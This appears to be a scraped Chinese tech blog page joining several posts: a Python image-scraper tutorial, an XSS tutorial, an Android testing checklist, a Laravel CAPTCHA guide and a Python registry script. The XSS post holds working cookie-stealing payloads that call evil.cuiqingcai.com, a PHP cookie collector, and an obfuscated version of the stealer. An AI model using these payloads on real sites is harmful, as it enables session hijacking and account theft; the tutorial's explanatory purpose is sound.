    #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程
    #print(li) ##同上
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    for a in all_a:
    print(a)

    PS: ‘find’ 只查找给定的标签一次,就算后面还有一样的标签也不会提取出来哦! 而 ‘find_all’ 是在页面中找出所有给定的标签!有十个给定的标签就返回十个(返回的是个 list 哦!!),想要了解得更详细,就是看看官方文档吧! 来看看运行结果! QQ截图20161028150438 哇哦!!全是我们需要的类容诶!什么?你的和这个不一样?或者报错了?回头看看 你做的和我有什么不一样······ 实在不行,群里求助吧! 好啦!现在我们该来提取我们想要的内容了!又该我们 BeautifulSoup 大展身手了。 我们需要提取出标签的 href 属性和文本。怎么做呢?看代码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os

    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程
    #print(li) ##同上
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    print(title, href)

    就多了两行!很方便吧!!为什么这么写?自己去看官方文档啦!(我要全解释了,估计有些小哥儿官方文档都不会去看。这样很不好诶。) 来来!看看结果怎么样 我们来打印一下看看! QQ截图20161028152315 哈哈 果然是我们想要的内容!我们已经找向目标前进了一半了!好啦前面已经把怎么实现的方法讲清楚了哦(如果你觉得什么地方有问题或者不清楚,在群里说说 我好改改)下面就要开始加快节奏了!!(篇幅长了 会被人骂的!) 上面我们找到了 图片的标题(暂时不管,这是后面用来创建文件夹的)和 图片页面的地址(这是我们这一步需要做的),需要做什么请参考最上面那个超简陋的流程图。 先查看一下图片页面有什么东西 你会发现一个页面只有一张图片啊!想要下载一套啊! 你点一下面的 1 、2、3、4········ 你会发现地址栏里面的 URL 在变化啊!这就是我们的入手的地方了! QQ截图20161028164035 页码在标签中,我们只需要获取最后一个页面的页码, 从 1 开始历遍,和我们上面获取的 URL 拼接在一起就是每张图片的页面地址啦! 在页面的源代码搜一下标签 [![QQ截图20161028191747](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747-1024x554.png)](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747.png) 可以发现最后一个页面的标签是第二十一个标签,因为在 html 中标签是成对的,所以我需要查找的是第十一个标签(BeautifulSoup 是以开始的标签定位,而不是结尾的。开始的标签是这样<>;结束的标签是这样) 废话不多说上代码! PS:下面的代码我已经把注释掉的删掉了,所以看起来和上面的不太一样。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    print(page_url) ##这个page_url就是每张图片的页面地址啦!但还不是实际地址!

    好啦!运行一下试试!就是下面这样: QQ截图20161028194230 完美!!每个页面的地址都出来啦!!! 下面开始找图片的实际地址啦! 随意打开上面的地址地用 F12 调试工具试试! QQ截图20161028195338 会发现我们需要的地址在

    中的标签的 src 属性中。是不是很眼熟啊!知道怎么写了吧?下面上代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    img_html = requests.get(page_url, headers=headers)
    img_Soup = BeautifulSoup(img_html.text, 'lxml')
    img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦
    print(img_url)

    运行一下 QQ截图20161028200330 完美!就是我们想要的东西,下面开始保存了哦!哈哈!妹子马上就可以到你碗里去了! 首先我们要给每套图建一个文件夹,然后将下载的图片以 URL 的 xxxxx.jpg 中的 xxxxx 命名保存在这个文件夹里面。直接上代码了!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    path = str(title).strip() ##去掉空格
    os.makedirs(os.path.join("D:\mzitu", path)) ##创建一个存放套图的文件夹
    os.chdir("D:\mzitu\\"+path) ##切换到上面创建的文件夹
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    img_html = requests.get(page_url, headers=headers)
    img_Soup = BeautifulSoup(img_html.text, 'lxml')
    img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦
    name = img_url[-9:-4] ##取URL 倒数第四至第九位 做图片的名字
    img = requests.get(img_url, headers=headers)
    f = open(name+'.jpg', 'ab')##写入多媒体文件必须要 b 这个参数!!必须要!!
    f.write(img.content) ##多媒体文件要是用conctent哦!
    f.close()

    好了!!来运行一下 QQ截图20161028205004 哈哈哈完美!!!以上完毕!下面我们来整理一下代码,弄个函数什么的提示下逼格!加点提示什么的 首先我们上面 requests 一共使用了三次,我们写一个函数复用 (别怕!一点都不难)

    1
    2
    3
    4
    def request(url):
    headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}
    content = requests.get(url, headers=headers)
    return content

    当调用 request 的时候会获取 URL 地址的网页然后返回获取到的 response (response 是啥? 你理解成请求网页地址返回的源码就好了! 注意:如果请求的是多媒体文件的话 response 返回的是二进制文件哦!) 哈哈!第一个就写好啦,简单吧! 第二个是创建文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    def mkdir(self, path):
    path = path.strip()
    isExists = os.path.exists(os.path.join("D:\mzitu", path))
    if not isExists:
    print(u'建了一个名字叫做', path, u'的文件夹!')
    os.makedirs(os.path.join("D:\mzitu", path))
    return True
    else:
    print(u'名字叫做', path, u'的文件夹已经存在了!')
    return False

    调用 mkdir 这个函数时,会在 D:\mzitu 文件下创建一个 path 这个参数的文件夹(是参数 不是 path 哦!就是你调用的时候传递什么参数给这个函数 就创建什么文件夹!这个函数可以存着,下载东西到本地 都可以用),另外一个好处就是在文件夹已经存在的情况下不会报错退出程序哦! 不使用就会诶! 好啦 剩下的我就一股脑的写出来了! PS: 感谢Lucibriel的提醒!(因为我的程序就在 D 盘,所以疏忽了 程序没在 D 盘 os.chdir() 不能切换目录的问题、已经就改过来了;非常抱歉。)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    import requests
    from bs4 import BeautifulSoup
    import os

    class mzitu():

    def __init__(self):
    self.headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"}
    def all_url(self, url):
    html = self.request(url)##调用request函数把套图地址传进去会返回给我们一个response
    all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text()
    print(u'开始保存:', title) ##加点提示不然太枯燥了
    path = str(title).replace("?", '_') ##我注意到有个标题带有 ? 这个符号Windows系统是不能创建文件夹的所以要替换掉
    self.mkdir(path) ##调用mkdir函数创建文件夹!这儿path代表的是标题title哦!!!!!不要糊涂了哦!
    href = a['href']
    self.html(href) ##调用html函数把href参数传递过去!href是啥还记的吧? 就是套图的地址哦!!不要迷糊了哦!

    def html(self, href): ##这个函数是处理套图地址获得图片的页面地址
    html = self.request(href)
    self.headers['referer'] = href
    max_span = BeautifulSoup(html.text, 'lxml').find('div', class_='pagenavi').find_all('span')[-2].get_text()
    for page in range(1, int(max_span) + 1):
    page_url = href + '/' + str(page)
    self.img(page_url) ##调用img函数

    def img(self, page_url): ##这个函数处理图片页面地址获得图片的实际地址
    img_html = self.request(page_url)
    img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
    self.save(img_url)

    def save(self, img_url): ##这个函数保存图片
    name = img_url[-9:-4]
    img = self.request(img_url)
    f = open(name + '.jpg', 'ab')
    f.write(img.content)
    f.close()

    def mkdir(self, path): ##这个函数创建文件夹
    path = path.strip()
    isExists = os.path.exists(os.path.join("D:\mzitu", path))
    if not isExists:
    print(u'建了一个名字叫做', path, u'的文件夹!')
    os.makedirs(os.path.join("D:\mzitu", path))
    os.chdir(os.path.join("D:\mzitu", path)) ##切换到目录
    return True
    else:
    print(u'名字叫做', path, u'的文件夹已经存在了!')
    return False

    def request(self, url): ##这个函数获取网页的response 然后返回
    content = requests.get(url, headers=self.headers)
    return content

    Mzitu = mzitu() ##实例化
    Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

    QQ截图20161028215007 完美!!好啦!结束了! 如果大家觉得还能看懂、还行的话 我后面在写点儿其他的。 给大家看看我的成果 QQ截图20161028220006 最后感谢 mzitu.com 的站长。 后续几篇:

    小白爬虫第二弹之健壮的小爬虫

    小白爬虫第三弹之去重去重

    小白爬虫第四弹之爬虫快跑(多进程+多线程)

    小白进阶之 Scrapy 第一篇

    小白进阶之 Scrapy 第二篇(登录篇)

    Scrapy 分布式的前篇–让 redis 和 MongoDB 安全点

    小白进阶之 Scrapy 第三篇基于 Scrapy-Redis 的分布式以及 cookies 池

  • JavaScript

    什么是XSS

    XSS 意为跨站脚本攻击(Cross Site Scripting),缩写应该是CSS,但是已经有了一个层叠样式表(Cascading Style Sheets),所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

    XSS实例

    最简单的形式就是从URL中直接插入恶意的 JavaScript 代码,最简单的实例如下:

    1
    2
    3
    4
    <?php

    $input = $_GET['info'];
    echo $input;

    服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了,你可以向参数输入任意代码。 这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php 你可以直接在参数后面加入 JavaScript 代码,例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击,不过有的浏览器对此种攻击方式执行了过滤,例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 http://res.cuiqingcai.com/hack/xss2.html 源代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>TEST XSS</title>
    </head>
    <body>
    <script>
    function test() {
    var text = document.getElementById('text').value;
    var new_text = '<a href="' + text + '">test</a>';
    console.log(new_text);
    document.getElementById('content').innerHTML = new_text;
    }
    </script>
    <div id="content"></div>
    <input type="text" id="text" value="">
    <input type="button" id="button" value="提交" onclick="test()">
    </body>
    </html>

    现在有一个输入框,点击按钮之后会将输入框的内容提取出来,然后拼凑到超链接标签里。在这里也可以执行XSS攻击。 比如输入

    1
    javascript:void(0)" onclick=alert('ssss') "

    提交之后会出现一个超链接,点击之后就可以执行你输入的代码,这次就弹出一个输入框。 当然你也可以插入一张图片,用 onerror 属性定义方法

    1
    "><img src="#" onerror=alert(/xss/)><meta class="

    也可以达到同样的效果。 那么接下来来了,我们可以利用这个漏洞来盗取Cookie。 盗取Cookie可以这样,在本地执行一个JavaScript脚本,然后请求恶意网址,恶意网址的参数就是本网址通过 document.cookie 获取的本地cookie,这样 cookie 就保存在恶意网站上了。 这样的话,我们可以写一个脚本。

    1
    2
    3
    4
    var img = document.createElement('img');
    img.src = 'http://evil.cuiqingcai.com/cookie.php?url='+escape(window.location.href)+'&content='+escape(document.cookie);
    img.style = 'display:none';
    document.body.appendChild(img);

    创建一张图片,然后图片的链接是一个恶意网址加当前的cookie,然后添加到网页里。这样,新增加的一个网页便会请求这个src,实现访问。 然后还是原来的实例,我们想在代码里执行这段JavaScript,那怎么办呢?直接创建一个script节点引用? 先把这段js保存成 http://evil.cuiqingcai.com/cookie.js,试一下。 输入

    1
    javascript:void(0)"></a><script src="//evil.cuiqingcai.com/cookie.js"></script><a class="

    测试之后,发现并不能行。原因是插入script标签后,并不会自动请求这个链接。 这样我们就需要再次借助图片这个神奇的东西来帮忙了。 输入

    1
    javascript:void(0)"></a><img src=# onerror="document.body.appendChild(document.createElement('script')).src='//evil.cuiqingcai.com/cookie.js'"><a class="

    这里创建了一张图片,然后利用 onerror 方法插入了一个 script 标签,引入这个JS文件,这样就可以正常加载了。 嗯,那么这样就做到了将cookie传递给一个恶意网址。真正的盗取是在这里的。 那么 http://evil.cuiqingcai.com/cookie.php 的内容是什么?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?php 

    session_start();

    $_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

    $_SESSION['attempt'] += 1;

    if ($_SESSION['attempt'] >= 100) {
    die("Too Frequent");
    }

    $mysqli = new mysqli("localhost", "root", "", "evil");
    if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
    }

    $url = $_GET['url'];
    $content = $_GET['content'];

    $time = date("Y-m-d H:i:s", time());

    $items = explode(";", $content);

    $js = '';

    foreach ($items as $item) {
    $js .= ("document.cookie='".trim($item)."';");
    }

    if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {
    $stmt->bind_param("ssss", $url, $content, $time, $js);
    $result = $stmt->execute();
    if ($result) {
    echo "Collected Your Cookie <br>" ;
    }
    }

    echo 'url:', $url, '<br>', 'content:', $content;

    其实就是获取了url,还有cookie内容,然后插入了数据库保存起来。 这样,每成功一个XSS,就可以成功捕获到某个网站的Cookie。

    混淆加密

    其实将刚才的cookie.js贴到任意的网站都有可能引起XSS,比如CSDN。 为了防止JavaScript被看出来,可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx 比如上面一段代码就被加密成这样,粘贴到控制台,就能成功获取Cookie了。

    1
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);',22,22,'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'.split('|'),0,{}))

    Other

    1、冒烟测试

    使用的工具

    Monkey

    目标

    (1) 编写adb.exe的Monkey命令。 (2) 通过logcat定位问题,保证软件的健壮性。

    1.1 内存泄漏测试

    关注app的启动时间,页面加载时间,主要功能占用的CPU,内存,流量,与同类产品比较是否有优势。工具:DDMS

    1.2 联机调试测试

    连接真机进入调试模式,测试业务流;通过Logcat记录个操作,将所有错误定位代码。

    1.3 外网测试

    要覆盖到WIFI\2G\3G、net\wap 、电信\移动\联网,所有组合进行测试

    2、安装、卸载测试

    2.1 安装卸载

    app安装、卸载、启动、运行、清除缓存/数据运行看看是否正常

    2.2 平台支持

    是否支持豌豆荚、91等主流辅助工具,及是否和第三方软件兼容。

    3、在线升级测试

    3.1 在线升级安装及使用测试

    (1)验证数字签名; (2)升级后是否可以正常使用; (3)在线夸版本升级。

    4、业务功能测试

    4.1 业务逻辑测试

    运行app时,是否可以接电话,发短信,锁屏,充电等功能

    4.2 功能点测试

    检查功能点是否正常,是否满足需求文档

    4.3 关联性测试

    安装app后,是否和pc机连接,交互正常

    5、稳定性及异常性测试

    5.1 交互性测试

    手机被多种打扰,例如,打开微信,聊QQ,听音乐等,app是否运行正常;待机,插拔数据线等操作

    5.2 异常性测试

    断点、断网异常情况,是否稳定

    6、性能测试

    6.1 基准性能测试

    主要是写脚本,是否可以进行压力测试;在不同网络的情况下,运行速度变化情况。

    6.2 大数据量测试

    保证手机更新大数据量程序成功率

    7、界面易用性测试

    7.1 界面与交互性测试

    符合安卓交互规范;用户体验良好;使用方便。快捷

    7.2 可用性测试

    可用性强,操作简单;使用操作错误率低;完成任务使用时间短

    8、自动化测试

    CTS工具,主要是基于Androidinstrumentation和JUnit测试原理推单元测试用例; Monkey用来对UI进行压力测试,伪随机的模拟用户的按键输入,触摸屏输入,手势输入等; ASE工具,是调用Android的功能,从而定制一些测试,比如打电话,发短信,浏览网页等; Robotium工具,提供了模仿用户操作行为的API,比如在某个控件上点击,输入Text等等; MonkeyRunner工具,是调用一个Python脚本去安装一个Android应用程序或测试包,运行它,向它发送模拟按键,截取界面图片等 QQ交流群:369353583

    PHP

    简述

    在网站开发中使用频率最高的工具之一便是验证码,验证码在此也是多种多样,不过简单的图片验证码已经可以被机器识别,极验验证码提供了一个安全可靠的滑动验证码体系,让网站开发更加安全。 先感受一下这种验证码的魅力 极验 接入极验验证码的过程并没有想象中的那么简单,如果想在Laravel5中使用,可以使用Laravel5的极验验证码包 LaravelGeetest 支持 Laravel 5.0 及以上版本。 地址: https://github.com/Germey/LaravelGeetest 建议阅读原项目的README文件,最新的更新都会在README中说明,而且用法介绍是最全面的。 下面简单介绍一下该工具包的使用。

    注册极验账号

    首先需要到 极验 网站注册账号,然后新建一个应用,获取到 ID 和 KEY,留作备用,后台管理页面如下。

    安装

    在项目地址输入命令

    1
    $ composer require germey/geetest

    就可以完成该包的安装 或者可以在 composer.json 的 require 中添加

    1
    "germey/geetest": "~2.0"

    然后执行

    1
    $ composer update

    同样可以完成该包的安装。

    配置

    注册 ServiceProvider,在 config/app.php 的 providers 中添加

    1
    Germey\Geetest\GeetestServiceProvider::class

    在 aliases 中添加

    1
    'Geetest' => Germey\Geetest\Geetest::class

    然后执行

    1
    $ php artisan vendor:publish

    会生成一个配置文件,config/geetest.php 和视图文件views/vendor/geetest,视图文件中你可以自定义配置,比如修改一下验证失败后的alert函数,修改为你想要的提示toast等。

    使用

    首先把刚才拿到的 ID 和 KEY 配置到 .env 文件中,因为这两个算私密内容,配置到 .env 文件中可以保证安全性。在 .env 中写入如下两行。

    1
    2
    GEETEST_ID=0f1097bef7xxxxxx9afdeced970c63e4
    GEETEST_KEY=c070f0628xxxxxxe68e138b55c56fb3b

    其中 ID 和 KEY 换成你自己的。 然后,在任意的视图里,我们只需要调用

    1
    {!! Geetest::render() !!}

    就可以得到验证码了。 比如我们最常用的表单里

    1
    2
    3
    4
    5
    6
    <form action="/" method="post">
    <input name="_token" type="hidden" value="{{ csrf_token() }}">
    <input type="text" name="name" placeholder="name">
    {!! Geetest::render() !!}
    <input type="submit" value="submit">
    </form>

    通过如上代码就可以完成验证码的生成了,样例如下: 另外还可以指定验证码的另外两种样式。

    1
    2
    {!! Geetest::render('embed') !!}
    {!! Geetest::render('popup') !!}

    以上两个方法分别会生成嵌入式和弹出式验证码。如果没有参数,默认是浮动式。 关于这几种样式,可以参考 官网 这样,就能保证必须完成验证码操作才能提交表单。 好,至此,你就可以完成最基础的验证码配置了。

    服务端验证

    如果你完成了上面的部分,那么恭喜你已经成功了一大半了,可以到此为止,不过如果想更加安全,请继续往下看。 在此是服务端二次验证,在上面讲的方法是客户端的验证,但是这并不能代表绝对安全,一些恶意用户依然可以通过操作JS完成表单的提交,所以服务端我们需要再次验证一下。 在表单提交的时候,如果你用了极验,那么就会额外提交三个字段,分别是 geetest_challenge, geetest_validate, geetest_seccode, 利用这三个字段,我们可以重新核对操作是否合法。 在这里这个包又做了封装,提供了一条验证规则。 所以验证时我们只需要利用验证规则即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    use Illuminate\Http\Request;

    class BaseController extends Controller
    {
    /**
    * @param Request $request
    */
    public function postValidate(Request $request)
    {
    $result = $this->validate($request, [
    'geetest_challenge' => 'geetest',
    ], [
    'geetest' => config('geetest.server_fail_alert')
    ]);
    if ($request) {
    return 'success';
    }
    }
    }

    利用 validate 方法,通过验证其中一个字段 geetest_challenge, 验证规则 geetest 就可以完成服务端的验证。这样就更保证了安全性。 在这里注意,由于多提交了几个字段,如果想执行 ORM 的批量插入修改操作时,记得在 Model 里面屏蔽这几个字段

    1
    protected $guarded = ['geetest_challenge', 'geetest_validate', 'geetest_seccode'];

    通过以上方法,就完成了服务端验证。 关于更多使用方法,可以参考 README

    语言设置

    验证码提供五种语言,简体中文,繁体中文,英文,日文,韩文。 可以通过 config/geetest.php 中设置 lang 字段。

    • zh-cn (简体中文)
    • zh-tw (繁体中文)
    • en (英文)
    • ja (日文)
    • ko (韩文)

    修改提示语

    在这里有两个提示语,client_fail_alert 和 server_fail_alert ,分别是前端和后台(客户端和服务器)两边的提示语,可以通过设置 config/geetest.php 设置。

    关于作者

    静觅(崔庆才) 个人主页:http://cuiqingcai.com

    Python

    不能在注册表中识别python2.7 新建一个register.py 文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import sys

    from _winreg import *

    # tweak as necessary
    version = sys.version[:3]
    installpath = sys.prefix

    regpath = "SOFTWARE\\Python\\Pythoncore\\%s\\" % (version)
    installkey = "InstallPath"
    pythonkey = "PythonPath"
    pythonpath = "%s;%s\\Lib\\;%s\\DLLs\\" % (
    installpath, installpath, installpath
    )

    def RegisterPy():
    try:
    reg = OpenKey(HKEY_CURRENT_USER, regpath)
    except EnvironmentError as e:
    try:
    reg = CreateKey(HKEY_CURRENT_USER, regpath)
    SetValue(reg, installkey, REG_SZ, installpath)
    SetValue(reg, pythonkey, REG_SZ, pythonpath)
    CloseKey(reg)
    except:
    print "*** Unable to register!"
    return
    print "--- Python", version, "is now registered!"
    return
    if (QueryValue(reg, installkey) == installpath and
    QueryValue(reg, pythonkey) == pythonpath):
    CloseKey(reg)
    print "=== Python", version, "is already registered!"
    return
    CloseKey(reg)
    print "*** Unable to register!"
    print "*** You probably have another Python installation!"

    if __name__ == "__main__":
    RegisterPy()

    用Python 运行register.py后就能识别python2.7了 代码来自:http://tech.valgog.com/2010/01/after-installing-64-bit-windows-7-at.html

    JavaScript

    BootStrap

    BootStrap 是一个前端CSS框架,它提供了一些便捷的组件方便我们快速构建前端页面,目前已经到了版本4,版本4是用 Sass 编写的,版本3是由 Less 编写的,后来增加了 Sass 版本。这说明了什么?BootStrap 已经向 Sass靠近了,个人感觉 Sass 比 Less 更为强大,具有更丰富的语法功能。 所以,Sass 将会成为比 Less 更为主流的语言。 目前常用的 BootStrap 版本是3,在官网也提供了相关 Sass 版本的下载。 在此提供官网下载链接和 Sass 项目 GitHub 地址。 BootStrap BootStrap-Sass 在 BootStrap 的下载版本中,可以看到有三个。一个是编译好的 JS,CSS 文件,可以直接拿来用,方便快捷就可以下载这个来用。第二个是 Less 源码版本,你可以自己定义 Less 文件,在项目基础上继续用 Less 开发,编译成需要的 CSS 文件。第三个是后来新增的 Sass 版本,本节就以它为例来说明利用 Gulp 编译 BootStrap-Sass 的过程,目的一在于熟悉 Gulp 自动化编译 Sass 的流程,目的二在于了解前端自动化的工作原理。

    Gulp

